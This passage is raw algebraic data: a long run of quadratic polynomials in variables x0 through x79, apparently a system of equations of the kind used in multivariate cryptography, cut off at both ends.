+ x12*x72 + x12*x73 + x12*x75 + x12*x77 + x12 + x13*x14 + x13*x16 + x13*x17 + x13*x20 + x13*x22 + x13*x23 + x13*x27 + x13*x28 + x13*x34 + x13*x35 + x13*x38 + x13*x39 + x13*x41 + x13*x44 + x13*x45 + x13*x46 + x13*x47 + x13*x53 + x13*x54 + x13*x56 + x13*x57 + x13*x59 + x13*x60 + x13*x61 + x13*x62 + x13*x64 + x13*x65 + x13*x66 + x13*x67 + x13*x68 + x13*x69 + x13*x73 + x13*x74 + x13*x75 + x13*x76 + x13*x78 + x13 + x14*x17 + x14*x18 + x14*x19 + x14*x20 + x14*x21 + x14*x23 + x14*x25 + x14*x27 + x14*x30 + x14*x31 + x14*x35 + x14*x36 + x14*x37 + x14*x38 + x14*x40 + x14*x47 + x14*x48 + x14*x49 + x14*x51 + x14*x54 + x14*x60 + x14*x65 + x14*x67 + x14*x69 + x14*x70 + x14*x71 + x14*x72 + x14*x73 + x14*x74 + x14*x75 + x14*x76 + x14 + x15*x18 + x15*x19 + x15*x22 + x15*x23 + x15*x24 + x15*x25 + x15*x30 + x15*x31 + x15*x32 + x15*x33 + x15*x36 + x15*x38 + x15*x42 + x15*x44 + x15*x46 + x15*x48 + x15*x53 + x15*x56 + x15*x62 + x15*x63 + x15*x64 + x15*x65 + x15*x71 + x15*x74 + x15*x75 + x15*x77 + x15*x78 + x15*x79 + x15 + x16*x19 + x16*x23 + x16*x24 + x16*x25 + x16*x28 + x16*x30 + x16*x31 + x16*x32 + x16*x35 + x16*x42 + x16*x44 + x16*x45 + x16*x48 + x16*x52 + x16*x53 + x16*x54 + x16*x56 + x16*x57 + x16*x59 + x16*x62 + x16*x66 + x16*x67 + x16*x68 + x16*x69 + x16*x70 + x16*x71 + x16*x73 + x16*x74 + x16*x75 + x16*x76 + x16*x78 + x16*x79 + x16 + x17*x19 + x17*x20 + x17*x22 + x17*x24 + x17*x25 + x17*x28 + x17*x36 + x17*x37 + x17*x44 + x17*x46 + x17*x50 + x17*x52 + x17*x54 + x17*x57 + x17*x58 + x17*x59 + x17*x61 + x17*x63 + x17*x64 + x17*x65 + x17*x66 + x17*x72 + x17*x73 + x17*x74 + x17 + x18*x20 + x18*x21 + x18*x24 + x18*x25 + x18*x26 + x18*x27 + x18*x28 + x18*x30 + x18*x32 + x18*x35 + x18*x36 + x18*x39 + x18*x41 + x18*x45 + x18*x47 + x18*x48 + x18*x49 + x18*x51 + x18*x54 + x18*x55 + x18*x60 + x18*x61 + x18*x63 + x18*x64 + x18*x65 + x18*x66 + x18*x72 + x18*x75 + x18*x78 + x18 + x19*x20 + x19*x22 + x19*x26 + x19*x29 + x19*x30 + x19*x32 + x19*x34 + x19*x37 + x19*x39 + x19*x42 + x19*x43 + x19*x47 + x19*x54 + x19*x56 + x19*x58 + x19*x59 + x19*x61 + x19*x62 + x19*x63 + x19*x64 + x19*x65 + x19*x66 + x19*x67 + x19*x68 + x19*x71 + x19*x73 + x19*x76 + x19*x77 + x19*x78 + x19*x79 + x20*x25 + x20*x26 + x20*x27 + x20*x32 + x20*x35 + x20*x36 + x20*x37 + x20*x39 + x20*x40 + x20*x41 + x20*x44 + x20*x45 + x20*x49 + x20*x50 + x20*x51 + x20*x52 + x20*x54 + x20*x55 + x20*x56 + x20*x57 + x20*x58 + x20*x59 + x20*x60 + x20*x61 + x20*x62 + x20*x63 + x20*x65 + x20*x67 + x20*x68 + x20*x71 + x20*x75 + x20*x77 + x20 + x21*x24 + x21*x27 + x21*x29 + x21*x31 + x21*x34 + x21*x35 + x21*x36 + x21*x38 + x21*x41 + x21*x42 + x21*x43 + x21*x45 + x21*x46 + x21*x47 + x21*x48 + x21*x53 + x21*x54 + x21*x57 + x21*x59 + x21*x61 + x21*x62 + x21*x65 + x21*x66 + x21*x68 + x21*x71 + x21*x72 + x21*x73 + x21*x76 + x21*x77 + x21*x79 + x21 + x22*x23 + x22*x25 + x22*x29 + x22*x31 + x22*x32 + x22*x36 + x22*x38 + x22*x39 + x22*x41 + x22*x42 + x22*x43 + x22*x44 + x22*x45 + x22*x47 + x22*x48 + x22*x49 + x22*x50 + x22*x53 + x22*x54 + x22*x55 + x22*x56 + x22*x58 + x22*x59 + x22*x61 + x22*x62 + x22*x63 + x22*x64 + x22*x65 + x22*x66 + x22*x68 + x22*x70 + x22*x71 + x22*x75 + x22*x77 + x22*x78 + x22*x79 + x23*x24 + x23*x25 + x23*x28 + x23*x31 + x23*x32 + x23*x33 + x23*x34 + x23*x35 + x23*x37 + x23*x41 + x23*x43 + x23*x44 + x23*x48 + x23*x51 + x23*x52 + x23*x53 + x23*x56 + x23*x57 + x23*x61 + x23*x65 + x23*x67 + x23*x68 + x23*x69 + x23*x70 + x23*x71 + x23*x72 + x23*x73 + x23*x79 + x24*x25 + x24*x27 + x24*x28 + x24*x29 + x24*x35 + x24*x36 + x24*x37 + x24*x38 + x24*x39 + x24*x43 + x24*x46 + x24*x47 + x24*x49 + x24*x50 + x24*x51 + x24*x58 + x24*x61 + x24*x62 + x24*x66 + x24*x67 + x24*x68 + x24*x70 + x24*x72 + x24*x75 + x24*x79 + x24 + x25*x26 + x25*x31 + x25*x32 + x25*x34 + x25*x36 + x25*x38 + x25*x45 + x25*x47 + x25*x49 + x25*x51 + x25*x52 + x25*x54 + x25*x55 + x25*x57 + x25*x58 + x25*x60 + x25*x61 + x25*x66 + x25*x67 + x25*x70 + x25*x71 + x25*x74 + x25*x77 + x25*x78 + x25 + x26*x30 + x26*x32 + x26*x35 + x26*x36 + x26*x37 + x26*x38 + x26*x39 + x26*x40 + x26*x42 + x26*x44 + x26*x45 + x26*x46 + x26*x49 + x26*x50 + x26*x51 + x26*x52 + x26*x55 + x26*x57 + x26*x59 + x26*x60 + x26*x61 + x26*x62 + x26*x63 + x26*x64 + x26*x65 + x26*x67 + x26*x76 + x26*x77 + x26*x78 + x26 + x27*x28 + x27*x29 + x27*x30 + x27*x32 + x27*x34 + x27*x37 + x27*x38 + x27*x40 + x27*x42 + x27*x43 + x27*x44 + x27*x46 + x27*x50 + x27*x51 + x27*x52 + x27*x53 + x27*x55 + x27*x57 + x27*x58 + x27*x59 + x27*x60 + x27*x61 + x27*x62 + x27*x63 + x27*x64 + x27*x66 + x27*x67 + x27*x68 + x27*x74 + x27*x75 + x27*x79 + x27 + x28*x32 + x28*x33 + x28*x34 + x28*x38 + x28*x39 + x28*x40 + x28*x44 + x28*x50 + x28*x51 + x28*x52 + x28*x53 + x28*x54 + x28*x55 + x28*x57 + x28*x62 + x28*x66 + x28*x67 + x28*x69 + x28*x71 + x28*x77 + x28*x78 + x29*x30 + x29*x31 + x29*x35 + x29*x37 + x29*x38 + x29*x40 + x29*x41 + x29*x42 + x29*x44 + x29*x45 + x29*x48 + x29*x51 + x29*x52 + x29*x53 + x29*x55 + x29*x56 + x29*x59 + x29*x60 + x29*x63 + x29*x65 + x29*x71 + x29*x72 + x29*x73 + x29*x74 + x29*x77 + x29*x79 + x29 + x30*x31 + x30*x33 + x30*x35 + x30*x36 + x30*x44 + x30*x47 + x30*x49 + x30*x50 + x30*x51 + x30*x53 + x30*x54 + x30*x56 + x30*x57 + x30*x60 + x30*x62 + x30*x65 + x30*x67 + x30*x68 + x30*x74 + x31*x32 + x31*x33 + x31*x35 + x31*x37 + x31*x42 + x31*x45 + x31*x49 + x31*x50 + x31*x55 + x31*x57 + x31*x60 + x31*x63 + x31*x64 + x31*x66 + x31*x67 + x31*x68 + x31*x69 + x31*x70 + x31*x73 + x31*x76 + x32*x33 + x32*x35 + x32*x37 + x32*x40 + x32*x42 + x32*x45 + x32*x48 + x32*x50 + x32*x55 + x32*x57 + x32*x58 + x32*x60 + x32*x62 + x32*x63 + x32*x66 + x32*x68 + x32*x69 + x32*x71 + x32*x74 + x32*x75 + x32*x76 + x32*x79 + x33*x35 + x33*x37 + x33*x39 + x33*x41 + x33*x42 + x33*x43 + x33*x45 + x33*x48 + x33*x49 + x33*x50 + x33*x52 + x33*x53 + x33*x54 + x33*x55 + x33*x58 + x33*x60 + x33*x61 + x33*x62 + x33*x65 + x33*x69 + x33*x72 + x33*x76 + x33*x79 + x33 + x34*x36 + x34*x38 + x34*x41 + x34*x43 + x34*x46 + x34*x47 + x34*x50 + x34*x55 + x34*x57 + x34*x58 + x34*x59 + x34*x61 + x34*x62 + x34*x63 + x34*x64 + x34*x67 + x34*x68 + x34*x69 + x34*x71 + x34*x72 + x34*x73 + x34*x78 + x34*x79 + x35*x36 + x35*x37 + x35*x38 + x35*x40 + x35*x41 + x35*x42 + x35*x43 + x35*x48 + x35*x49 + x35*x53 + x35*x54 + x35*x56 + x35*x57 + x35*x58 + x35*x59 + x35*x62 + x35*x63 + x35*x64 + x35*x66 + x35*x67 + x35*x69 + x35*x70 + x35*x72 + x35*x74 + x35*x76 + x35*x78 + x35 + x36*x38 + x36*x41 + x36*x42 + x36*x43 + x36*x44 + x36*x45 + x36*x46 + x36*x47 + x36*x49 + x36*x51 + x36*x52 + x36*x53 + x36*x55 + x36*x56 + x36*x57 + x36*x58 + x36*x59 + x36*x60 + x36*x62 + x36*x63 + x36*x64 + x36*x65 + x36*x66 + x36*x67 + x36*x70 + x36*x77 + x37*x41 + x37*x45 + x37*x46 + x37*x47 + x37*x48 + x37*x51 + x37*x53 + x37*x54 + x37*x55 + x37*x57 + x37*x58 + x37*x59 + x37*x61 + x37*x62 + x37*x67 + x37*x69 + x37*x71 + x37*x74 + x37*x76 + x37*x77 + x37*x78 + x37*x79 + x38*x40 + x38*x41 + x38*x43 + x38*x45 + x38*x51 + x38*x54 + x38*x56 + x38*x59 + x38*x63 + x38*x66 + x38*x67 + x38*x68 + x38*x70 + x38*x71 + x38*x73 + x38*x74 + x38*x75 + x38*x77 + x39*x41 + x39*x42 + x39*x46 + x39*x49 + x39*x50 + x39*x53 + x39*x54 + x39*x56 + x39*x57 + x39*x60 + x39*x62 + x39*x64 + x39*x65 + x39*x66 + x39*x68 + x39*x69 + x39*x70 + x39*x71 + x39*x72 + x39*x73 + x39*x75 + x39*x76 + x39*x77 + x39*x78 + x39 + x40*x47 + x40*x49 + x40*x51 + x40*x52 + x40*x55 + x40*x56 + x40*x58 + x40*x59 + x40*x61 + x40*x62 + x40*x63 + x40*x66 + x40*x69 + x40*x70 + x40*x71 + x40*x74 + x40*x78 + x40 + x41*x44 + x41*x45 + x41*x46 + x41*x48 + x41*x49 + x41*x50 + x41*x51 + x41*x52 + x41*x53 + x41*x54 + x41*x58 + x41*x59 + x41*x61 + x41*x64 + x41*x66 + x41*x67 + x41*x69 + x41*x70 + x41*x71 + x41*x74 + x41*x75 + x41*x77 + x41*x78 + x41 + x42*x45 + x42*x46 + x42*x51 + x42*x53 + x42*x54 + x42*x58 + x42*x59 + x42*x61 + x42*x63 + x42*x65 + x42*x67 + x42*x68 + x42*x69 + x42*x70 + x42*x71 + x42*x72 + x42*x74 + x43*x44 + x43*x46 + x43*x50 + x43*x52 + x43*x54 + x43*x55 + x43*x62 + x43*x64 + x43*x68 + x43*x69 + x43*x70 + x43*x76 + x43*x77 + x43 + x44*x47 + x44*x48 + x44*x49 + x44*x51 + x44*x54 + x44*x58 + x44*x60 + x44*x63 + x44*x65 + x44*x72 + x44*x73 + x44*x74 + x44*x76 + x44*x77 + x44*x78 + x45*x48 + x45*x49 + x45*x50 + x45*x56 + x45*x59 + x45*x63 + x45*x67 + x45*x69 + x45*x71 + x45*x72 + x45*x73 + x45*x74 + x45*x75 + x45*x77 + x45 + x46*x49 + x46*x50 + x46*x51 + x46*x53 + x46*x54 + x46*x55 + x46*x56 + x46*x57 + x46*x58 + x46*x59 + x46*x61 + x46*x62 + x46*x64 + x46*x66 + x46*x70 + x46*x72 + x46*x76 + x46*x77 + x46*x79 + x46 + x47*x49 + x47*x51 + x47*x55 + x47*x57 + x47*x60 + x47*x62 + x47*x63 + x47*x64 + x47*x65 + x47*x66 + x47*x68 + x47*x69 + x47*x70 + x47*x73 + x47*x74 + x47*x77 + x47*x78 + x47 + x48*x49 + x48*x51 + x48*x52 + x48*x54 + x48*x55 + x48*x56 + x48*x57 + x48*x61 + x48*x64 + x48*x65 + x48*x68 + x48*x69 + x48*x70 + x48*x76 + x48*x77 + x48*x79 + x48 + x49*x50 + x49*x51 + x49*x52 + x49*x55 + x49*x57 + x49*x63 + x49*x64 + x49*x66 + x49*x68 + x49*x71 + x49*x73 + x49*x75 + x49*x76 + x50*x51 + x50*x52 + x50*x53 + x50*x54 + x50*x55 + x50*x56 + x50*x57 + x50*x58 + x50*x59 + x50*x60 + x50*x61 + x50*x64 + x50*x65 + x50*x66 + x50*x67 + x50*x70 + x50*x72 + x50*x73 + x50*x74 + x50*x76 + x50 + x51*x52 + x51*x53 + x51*x54 + x51*x57 + x51*x58 + x51*x59 + x51*x64 + x51*x65 + x51*x69 + x51*x71 + x51*x73 + x51*x76 + x51*x79 + x51 + x52*x53 + x52*x55 + x52*x63 + x52*x68 + x52*x70 + x52*x71 + x52*x74 + x52*x75 + x52 + x53*x54 + x53*x57 + x53*x60 + x53*x63 + x53*x64 + x53*x65 + x53*x69 + x53*x74 + x53*x78 + x53 + x54*x56 + x54*x58 + x54*x60 + x54*x63 + x54*x65 + x54*x68 + x54*x69 + x54*x72 + x54*x75 + x54*x76 + x54*x77 + x54*x78 + x55*x56 + x55*x57 + x55*x59 + x55*x60 + x55*x61 + x55*x62 + x55*x64 + x55*x65 + x55*x66 + x55*x68 + x55*x69 + x55*x75 + x55*x76 + x55*x78 + x55 + x56*x58 + x56*x60 + x56*x62 + x56*x63 + x56*x65 + x56*x68 + x56*x71 + x56*x73 + x56*x77 + x57*x60 + x57*x61 + x57*x62 + x57*x65 + x57*x66 + x57*x68 + x57*x69 + x57*x70 + x57*x73 + x57*x74 + x57*x75 + x57*x79 + x58*x61 + x58*x62 + x58*x63 + x58*x64 + x58*x65 + x58*x68 + x58*x69 + x58*x71 + x58*x72 + x58*x73 + x58*x74 + x58*x75 + x58*x77 + x59*x61 + x59*x62 + x59*x66 + x59*x67 + x59*x68 + x59*x69 + x59*x71 + x59*x74 + x59*x75 + x59*x77 + x59*x79 + x60*x61 + x60*x64 + x60*x65 + x60*x66 + x60*x67 + x60*x68 + x60*x72 + x60*x74 + x60*x76 + x60*x77 + x60*x78 + x60*x79 + x60 + x61*x62 + x61*x63 + x61*x64 + x61*x66 + x61*x68 + x61*x69 + x61*x70 + x61*x71 + x61*x75 + x61*x76 + x61*x79 + x62*x63 + x62*x65 + x62*x68 + x62*x71 + x62*x76 + x62*x79 + x63*x64 + x63*x65 + x63*x68 + x63*x73 + x63*x74 + x63*x75 + x64*x66 + x64*x67 + x64*x68 + x64*x70 + x64*x73 + x64*x74 + x64*x75 + x64*x76 + x64*x77 + x64 + x65*x67 + x65*x68 + x65*x69 + x65*x70 + x65*x71 + x65*x73 + x65*x74 + x65*x75 + x65*x76 + x65*x78 + x66*x68 + x66*x69 + x66*x70 + x66*x71 + x66*x72 + x66*x73 + x66*x75 + x66*x77 + x66*x78 + x66 + x67*x71 + x67*x72 + x67*x73 + x67*x74 + x67*x75 + x67*x77 + x67 + x68*x70 + x68*x71 + x68*x74 + x68*x75 + x68 + x69*x71 + x69*x76 + x70*x71 + x70*x77 + x70 + x71*x72 + x71*x76 + x71*x77 + x71*x78 + x71*x79 + x71 + x72*x74 + x72*x75 + x72*x76 + x72*x77 + x72*x78 + x72*x79 + x72 + x73*x75 + x73*x76 + x74*x76 + x74*x77 + x74*x78 + x74 + x75*x78 + x75*x79 + x76*x78 + x76*x79 + x76 + x78*x79 + x79 + 1, x0*x1 + x0*x2 + x0*x6 + x0*x8 + x0*x10 + x0*x12 + x0*x17 + x0*x18 + x0*x19 + x0*x20 + x0*x22 + x0*x23 + x0*x24 + x0*x25 + x0*x27 + x0*x28 + x0*x30 + x0*x32 + x0*x33 + x0*x35 + x0*x39 + x0*x43 + x0*x46 + x0*x47 + x0*x50 + x0*x52 + x0*x53 + x0*x58 + x0*x59 + x0*x60 + x0*x62 + x0*x64 + x0*x67 + x0*x74 + x0*x75 + x0*x76 + x0*x77 + x0*x79 + x1*x5 + x1*x8 + x1*x9 + x1*x11 + x1*x15 + x1*x16 + x1*x17 + x1*x20 + x1*x21 + x1*x25 + x1*x26 + x1*x27 + x1*x28 + x1*x30 + x1*x31 + x1*x38 + x1*x41 + x1*x42 + x1*x43 + x1*x45 + x1*x46 + x1*x47 + x1*x48 + x1*x49 + x1*x51 + x1*x52 + x1*x53 + x1*x54 + x1*x55 + x1*x59 + x1*x60 + x1*x64 + x1*x65 + x1*x66 + x1*x67 + x1*x68 + x1*x69 + x1*x70 + x1*x71 + x1*x74 + x1*x75 + x1*x77 + x1*x79 + x2*x7 + x2*x8 + x2*x10 + x2*x11 + x2*x12 + x2*x16 + x2*x17 + x2*x20 + x2*x21 + x2*x22 + x2*x24 + x2*x25 + x2*x27 + x2*x29 + x2*x30 + x2*x32 + x2*x35 + x2*x36 + x2*x37 + x2*x39 + x2*x40 + x2*x41 + x2*x42 + x2*x44 + x2*x45 + x2*x47 + x2*x50 + x2*x51 + x2*x54 + x2*x55 + x2*x56 + x2*x64 + x2*x65 + x2*x66 + x2*x69 + x2*x71 + x2*x72 + x2*x73 + x2*x76 + x2*x77 + x2*x78 + x2*x79 + x3*x5 + x3*x7 + x3*x8 + x3*x10 + x3*x11 + x3*x15 + x3*x16 + x3*x18 + x3*x19 + x3*x21 + x3*x23 + x3*x26 + x3*x29 + x3*x31 + x3*x32 + x3*x33 + x3*x34 + x3*x35 + x3*x36 + x3*x37 + x3*x38 + x3*x44 + x3*x45 + x3*x46 + x3*x47 + x3*x48 + x3*x49 + x3*x51 + x3*x56 + x3*x57 + x3*x58 + x3*x61 + x3*x63 + x3*x64 + x3*x65 + x3*x67 + x3*x68 + x3*x69 + x3*x72 + x3*x73 + x3*x74 + x3*x76 + x3*x77 + x4*x6 + x4*x10 + x4*x11 + x4*x12 + x4*x14 + x4*x16 + x4*x18 + x4*x19 + x4*x21 + x4*x22 + x4*x24 + x4*x26 + x4*x28 + x4*x30 + x4*x33 + x4*x35 + x4*x36 + x4*x38 + x4*x40 + x4*x41 + x4*x43 + x4*x44 + x4*x46 + x4*x47 + x4*x49 + x4*x50 + x4*x51 + x4*x55 + x4*x57 + x4*x59 + x4*x61 + x4*x64 + x4*x65 + x4*x68 + x4*x71 + x4*x73 + x4*x75 + x4*x76 + x4*x77 + x4*x79 + x4 + x5*x6 + x5*x7 + x5*x8 + x5*x16 + x5*x17 + x5*x21 + x5*x22 + x5*x23 + x5*x25 + x5*x26 + x5*x27 + x5*x29 + x5*x30 + x5*x31 + x5*x33 + x5*x40 + x5*x41 + x5*x42 + x5*x46 + x5*x47 + x5*x50 + x5*x52 + x5*x58 + x5*x60 + x5*x61 + x5*x64 + x5*x65 + x5*x66 + x5*x67 + x5*x68 + x5*x73 + x5*x74 + x5*x75 + x5*x76 + x5*x77 + x5*x78 + x5 + x6*x8 + x6*x9 + x6*x11 + x6*x12 + x6*x13 + x6*x15 + x6*x18 + x6*x20 + x6*x21 + x6*x22 + x6*x23 + x6*x25 + x6*x27 + x6*x28 + x6*x29 + x6*x33 + x6*x37 + x6*x38 + x6*x42 + x6*x45 + x6*x46 + x6*x49 + x6*x50 + x6*x52 + x6*x54 + x6*x55 + x6*x56 + x6*x57 + x6*x58 + x6*x59 + x6*x60 + x6*x61 + x6*x63 + x6*x66 + x6*x67 + x6*x68 + x6*x70 + x6*x71 + x6*x75 + x6*x76 + x6*x78 + x6 + x7*x13 + x7*x15 + x7*x16 + x7*x17 + x7*x18 + x7*x19 + x7*x21 + x7*x23 + x7*x24 + x7*x25 + x7*x26 + x7*x29 + x7*x30 + x7*x31 + x7*x32 + x7*x33 + x7*x34 + x7*x38 + x7*x44 + x7*x47 + x7*x48 + x7*x52 + x7*x54 + x7*x55 + x7*x57 + x7*x59 + x7*x62 + x7*x63 + x7*x69 + x7*x72 + x7*x73 + x7*x77 + x7*x78 + x7*x79 + x7 + x8*x9 + x8*x10 + x8*x13 + x8*x15 + x8*x16 + x8*x18 + x8*x20 + x8*x21 + x8*x27 + x8*x28 + x8*x29 + x8*x32 + x8*x33 + x8*x36 + x8*x39 + x8*x42 + x8*x44 + x8*x45 + x8*x47 + x8*x48 + x8*x49 + x8*x51 + x8*x55 + x8*x56 + x8*x61 + x8*x62 + x8*x63 + x8*x64 + x8*x66 + x8*x67 + x8*x76 + x8*x77 + x8*x78 + x8*x79 + x9*x10 + x9*x13 + x9*x22 + x9*x23 + x9*x25 + x9*x26 + x9*x27 + x9*x28 + x9*x30 + x9*x32 + x9*x34 + x9*x35 + x9*x39 + x9*x40 + x9*x41 + x9*x42 + x9*x43 + x9*x46 + x9*x50 + x9*x51 + x9*x53 + x9*x54 + x9*x55 + x9*x57 + x9*x58 + x9*x60 + x9*x61 + x9*x63 + x9*x64 + x9*x67 + x9*x68 + x9*x71 + x9*x74 + x9*x76 + x9*x77 + x9 + x10*x13 + x10*x14 + x10*x15 + x10*x21 + x10*x25 + x10*x26 + x10*x27 + x10*x28 + x10*x31 + x10*x33 + x10*x35 + x10*x37 + x10*x39 + x10*x41 + x10*x43 + x10*x44 + x10*x46 + x10*x48 + x10*x50 + x10*x53 + x10*x57 + x10*x58 + x10*x59 + x10*x61 + x10*x62 + x10*x64 + x10*x69 + x10*x76 + x10*x79 + x10 + x11*x12 + x11*x15 + x11*x17 + x11*x18 + x11*x20 + x11*x21 + x11*x22 + x11*x24 + x11*x25 + x11*x27 + x11*x28 + x11*x29 + x11*x30 + x11*x33 + x11*x34 + x11*x38 + x11*x39 + x11*x40 + x11*x42 + x11*x43 + x11*x45 + x11*x49 + x11*x50 + x11*x53 + x11*x54 + x11*x56 + x11*x57 + x11*x60 + x11*x61 + x11*x64 + x11*x67 + x11*x71 + x11*x73 + x11*x74 + x11*x75 + x11*x79 + x12*x13 + x12*x14 + x12*x15 + x12*x16 + x12*x17 + x12*x19 + x12*x20 + x12*x24 + x12*x25 + x12*x26 + x12*x27 + x12*x29 + x12*x32 + x12*x33 + x12*x34 + x12*x38 + x12*x39 + x12*x40 + x12*x45 + x12*x46 + x12*x50 + x12*x51 + x12*x55 + x12*x56 + x12*x57 + x12*x59 + x12*x62 + x12*x63 + x12*x64 + x12*x65 + x12*x66 + x12*x67 + x12*x68 + x12*x70 + x12*x76 + x12 + x13*x14 + x13*x16 + x13*x17 + x13*x21 + x13*x23 + x13*x25 + x13*x26 + x13*x32 + x13*x35 + x13*x42 + x13*x43 + x13*x45 + x13*x47 + x13*x52 + x13*x55 + x13*x56 + x13*x58 + x13*x59 + x13*x61 + x13*x63 + x13*x64 + x13*x65 + x13*x66 + x13*x68 + x13*x69 + x13*x70 + x13*x72 + x13*x73 + x13*x75 + x13*x77 + x13*x79 + x14*x16 + x14*x18 + x14*x20 + x14*x21 + x14*x23 + x14*x24 + x14*x25 + x14*x27 + x14*x29 + x14*x30 + x14*x31 + x14*x35 + x14*x37 + x14*x38 + x14*x39 + x14*x41 + x14*x42 + x14*x43 + x14*x45 + x14*x51 + x14*x53 + x14*x55 + x14*x56 + x14*x57 + x14*x60 + x14*x61 + x14*x65 + x14*x66 + x14*x67 + x14*x70 + x14*x72 + x14*x73 + x14*x75 + x14*x77 + x14*x78 + x14*x79 + x14 + x15*x17 + x15*x18 + x15*x20 + x15*x22 + x15*x23 + x15*x24 + x15*x26 + x15*x27 + x15*x28 + x15*x29 + x15*x31 + x15*x32 + x15*x34 + x15*x35 + x15*x36 + x15*x37 + x15*x38 + x15*x43 + x15*x44 + x15*x45 + x15*x46 + x15*x48 + x15*x49 + x15*x50 + x15*x52 + x15*x54 + x15*x56 + x15*x58 + x15*x60 + x15*x61 + x15*x63 + x15*x65 + x15*x66 + x15*x67 + x15*x68 + x15*x69 + x15*x73 + x15*x75 + x15*x76 + x15*x79 + x16*x19 + x16*x23 + x16*x24 + x16*x28 + x16*x30 + x16*x34 + x16*x36 + x16*x38 + x16*x39 + x16*x40 + x16*x42 + x16*x43 + x16*x44 + x16*x47 + x16*x49 + x16*x52 + x16*x53 + x16*x54 + x16*x55 + x16*x59 + x16*x60 + x16*x61 + x16*x63 + x16*x64 + x16*x66 + x16*x67 + x16*x73 + x16*x74 + x16*x75 + x16*x77 + x16*x78 + x16*x79 + x17*x21 + x17*x22 + x17*x23 + x17*x25 + x17*x26 + x17*x27 + x17*x31 + x17*x32 + x17*x34 + x17*x37 + x17*x40 + x17*x41 + x17*x42 + x17*x43 + x17*x45 + x17*x49 + x17*x55 + x17*x56 + x17*x57 + x17*x58 + x17*x59 + x17*x61 + x17*x63 + x17*x64 + x17*x68 + x17*x69 + x17*x72 + x17*x75 + x17*x76 + x18*x19 + x18*x20 + x18*x21 + x18*x22 + x18*x23 + x18*x24 + x18*x27 + x18*x29 + x18*x30 + x18*x34 + x18*x35 + x18*x37 + x18*x38 + x18*x40 + x18*x41 + x18*x42 + x18*x43 + x18*x44 + x18*x45 + x18*x46 + x18*x47 + x18*x48 + x18*x49 + x18*x53 + x18*x57 + x18*x58 + x18*x59 + x18*x60 + x18*x61 + x18*x64 + x18*x70 + x18*x73 + x18*x76 + x18*x79 + x19*x20 + x19*x24 + x19*x25 + x19*x26 + x19*x27 + x19*x29 + x19*x31 + x19*x32 + x19*x34 + x19*x36 + x19*x38 + x19*x39 + x19*x42 + x19*x43 + x19*x45 + x19*x46 + x19*x49 + x19*x65 + x19*x67 + x19*x68 + x19*x74 + x19*x75 + x19*x77 + x19*x79 + x19 + x20*x21 + x20*x22 + x20*x23 + x20*x24 + x20*x26 + x20*x27 + x20*x29 + x20*x30 + x20*x33 + x20*x34 + x20*x37 + x20*x38 + x20*x40 + x20*x41 + x20*x43 + x20*x46 + x20*x49 + x20*x51 + x20*x52 + x20*x54 + x20*x55 + x20*x56 + x20*x58 + x20*x60 + x20*x62 + x20*x64 + x20*x65 + x20*x69 + x20*x70 + x20*x71 + x20*x72 + x20*x73 + x20*x75 + x20*x76 + x20*x79 + x21*x22 + x21*x27 + x21*x30 + x21*x34 + x21*x35 + x21*x36 + x21*x38 + x21*x42 + x21*x44 + x21*x46 + x21*x47 + x21*x48 + x21*x51 + x21*x54 + x21*x56 + x21*x58 + x21*x59 + x21*x60 + x21*x61 + x21*x62 + x21*x64 + x21*x68 + x21*x69 + x21*x70 + x21*x71 + x21*x72 + x21*x77 + x21*x78 + x22*x23 + x22*x24 + x22*x25 + x22*x26 + x22*x27 + x22*x30 + x22*x31 + x22*x33 + x22*x34 + x22*x40 + x22*x41 + x22*x42 + x22*x43 + x22*x45 + x22*x46 + x22*x48 + x22*x50 + x22*x51 + x22*x52 + x22*x53 + x22*x55 + x22*x56 + x22*x57 + x22*x61 + x22*x62 + x22*x64 + x22*x65 + x22*x68 + x22*x71 + x22*x73 + x22*x74 + x22*x75 + x22*x77 + x22*x78 + x22*x79 + x22 + x23*x26 + x23*x28 + x23*x30 + x23*x31 + x23*x32 + x23*x34 + x23*x39 + x23*x46 + x23*x47 + x23*x48 + x23*x49 + x23*x53 + x23*x57 + x23*x62 + x23*x64 + x23*x68 + x23*x69 + x23*x71 + x23*x72 + x23*x73 + x23*x74 + x23*x78 + x23*x79 + x23 + x24*x25 + x24*x26 + x24*x28 + x24*x29 + x24*x31 + x24*x33 + x24*x35 + x24*x40 + x24*x43 + x24*x47 + x24*x50 + x24*x51 + x24*x55 + x24*x58 + x24*x60 + x24*x61 + x24*x63 + x24*x67 + x24*x68 + x24*x69 + x24*x73 + x24*x74 + x24*x76 + x24*x79 + x24 + x25*x26 + x25*x30 + x25*x31 + x25*x33 + x25*x34 + x25*x39 + x25*x43 + x25*x44 + x25*x47 + x25*x48 + x25*x49 + x25*x50 + x25*x55 + x25*x57 + x25*x61 + x25*x62 + x25*x63 + x25*x64 + x25*x69 + x25*x70 + x25*x72 + x25*x73 + x25*x74 + x25*x75 + x25*x77 + x25*x78 + x25*x79 + x25 + x26*x28 + x26*x30 + x26*x32 + x26*x37 + x26*x38 + x26*x39 + x26*x43 + x26*x44 + x26*x45 + x26*x46 + x26*x48 + x26*x49 + x26*x50 + x26*x51 + x26*x52 + x26*x55 + x26*x59 + x26*x60 + x26*x66 + x26*x67 + x26*x68 + x26*x70 + x26*x72 + x26*x73 + x26*x75 + x26*x78 + x27*x31 + x27*x34 + x27*x35 + x27*x36 + x27*x38 + x27*x39 + x27*x40 + x27*x41 + x27*x42 + x27*x44 + x27*x45 + x27*x49 + x27*x51 + x27*x53 + x27*x56 + x27*x57 + x27*x58 + x27*x60 + x27*x62 + x27*x63 + x27*x66 + x27*x68 + x27*x69 + x27*x74 + x27*x75 + x27*x76 + x27*x77 + x27 + x28*x30 + x28*x31 + x28*x34 + x28*x36 + x28*x38 + x28*x40 + x28*x41 + x28*x43 + x28*x47 + x28*x49 + x28*x51 + x28*x53 + x28*x55 + x28*x57 + x28*x61 + x28*x63 + x28*x65 + x28*x66 + x28*x67 + x28*x72 + x28*x73 + x28*x75 + x28*x76 + x28*x77 + x29*x31 + x29*x36 + x29*x37 + x29*x40 + x29*x41 + x29*x42 + x29*x45 + x29*x52 + x29*x53 + x29*x56 + x29*x58 + x29*x59 + x29*x61 + x29*x63 + x29*x64 + x29*x69 + x29*x72 + x29*x73 + x29*x76 + x30*x33 + x30*x36 + x30*x39 + x30*x42 + x30*x46 + x30*x47 + x30*x48 + x30*x51 + x30*x52 + x30*x53 + x30*x54 + x30*x55 + x30*x57 + x30*x58 + x30*x59 + x30*x60 + x30*x61 + x30*x66 + x30*x68 + x30*x69 + x30*x70 + x30*x71 + x30*x72 + x30*x74 + x30*x76 + x30*x78 + x30*x79 + x30 + x31*x33 + 